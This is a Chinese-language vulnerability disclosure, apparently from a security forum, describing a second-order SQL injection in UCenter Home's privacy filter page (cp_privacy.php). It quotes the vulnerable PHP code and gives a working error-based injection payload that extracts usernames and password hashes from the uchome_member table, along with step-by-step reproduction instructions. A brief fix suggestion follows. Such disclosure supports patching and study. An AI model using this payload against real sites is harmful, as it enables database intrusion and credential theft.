不知道这种情况算不算二次注入 先使payload进入数据库或者某一空间内,再次取出payload,然后进入SQL 这里第一步操作先使payload进入了一个数组中 然后第二步操作中会取出第一步中的payload,然后进入了SQL导致注入 整个过程跟二次注入一致,但是没有payload第一次没有进入SQL中 不知道这种算不算二次注入,暂且都叫sql注入吧 ============================================================================ 下面来看看这个漏洞。 在个人设置——隐私筛选——动态筛选 文件/source/cp_privacy.php elseif(submitcheck('privacy2submit')) { //类型筛选 $space['privacy']['filter_icon'] = array(); foreach ($_POST['privacy']['filter_icon'] as $key => $value) { $space['privacy']['filter_icon'][$key] = 1; } //用户组设置 $space['privacy']['filter_gid'] = array(); foreach ($_POST['privacy']['filter_gid'] as $key => $value) { $space['privacy']['filter_gid'][$key] = intval($value); } //通知筛选 $space['privacy']['filter_note'] = array(); foreach ($_POST['privacy']['filter_note'] as $key => $value) { $space['privacy']['filter_note'][$key] = 1; } privacy_update(); //更新好友缓存 friend_cache($_SGLOBAL['supe_uid']); showmessage('do_success', 'cp.php?ac=privacy&op=view'); } 这里存在两处问题: 1、这里在更新类型筛选时 将我们key直接为过滤带入了$space['privacy']['filter_icon']中 2、这里在更新通知筛选时 将我们key直接为过滤带入了$space['privacy']['filter_note']中 然后再来看看回到动态筛选页面 这里会整理通知内容,以及获取应用名称: 文件/source/cp_privacy.php if($_GET['op'] == 'view') { //好友组 $groups = getfriendgroup(); //屏蔽 $filter_icons = empty($space['privacy']['filter_icon'])?array():$space['privacy']['filter_icon']; $filter_note = empty($space['privacy']['filter_note'])?array():$space['privacy']['filter_note']; $iconnames = $appids = $icons = $uids = $users = array(); foreach ($filter_icons as $key => $value) { list($icon, $uid) = explode('|', $key); $icons[$key] = $icon; $uids[$key] = $uid; if(is_numeric($icon)) { $appids[$key] = $icon; } } //通知整理 foreach ($filter_note as $key => $value) { list($type, $uid) = explode('|', $key); $types[$key] = $type; $uids[$key] = $uid; if(is_numeric($type)) { $appids[$key] = $type; } } if($uids) { $query = $_SGLOBAL['db']->query("SELECT uid, username FROM ".tname('space')." WHERE uid IN (".simplode($uids).")"); while ($value = $_SGLOBAL['db']->fetch_array($query)) { $users[$value['uid']] = $value['username']; } } //获取应用名称 if($appids) { $query = $_SGLOBAL['db']->query("SELECT appid, appname FROM ".tname('myapp')." WHERE appid IN (".simplode($appids).")"); while ($value = $_SGLOBAL['db']->fetch_array($query)) { $iconnames[$value['appid']] = $value['appname']; } } $cat_actives = array('view' => ' class="active"'); } 在上述代码的开头可以看 $filter_icons = empty($space['privacy']['filter_icon'])?array():$space['privacy']['filter_icon']; $filter_note = empty($space['privacy']['filter_note'])?array():$space['privacy']['filter_note']; 这里的$space['privacy']['filter_icon']和$space['privacy']['filter_note']就是我们上面privacy2submit提交的内容 这里的key是直接传进来的 下面再整理通知和获取应用名称时,这里进入了uids和appids数组里面,然后再次进入了SQL语句,造成了SQL注入。 第一处SQL注入证明: 第一步: 首先我们更新通知筛选和类型筛选 这里进行通知筛选 在个人设置——隐私筛选——动态筛选: 提交一次,抓包,修改POST: 添加通知筛选: privacy[filter_note][type|key]: privacy[filter_note][type|key',(select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(username, 0x23, password) from uchome_member limit 0,1))a from information_schema.tables group by a)b))#] 第二步: 再回到在个人设置——隐私筛选——动态筛选这里 此时会进行通知整理,然后出发我们的payload,看看结果: 第二处SQL注入证明: 同第一处操作一样,但是要注意的是,这里的类型筛选是privacy[filter_icon],而且此时这里的type必须是整数型。 看看提交的内容及结果:
修复方案:再进入数据库时,判断处理,过滤,即可 |
-
上一篇: Ucenter Home最新版SQL注入三处 - 网站安全 - 自学p
下一篇: qibocms V7 整站系统最新版SQL注入一枚和另外一处能
还没有人抢沙发呢~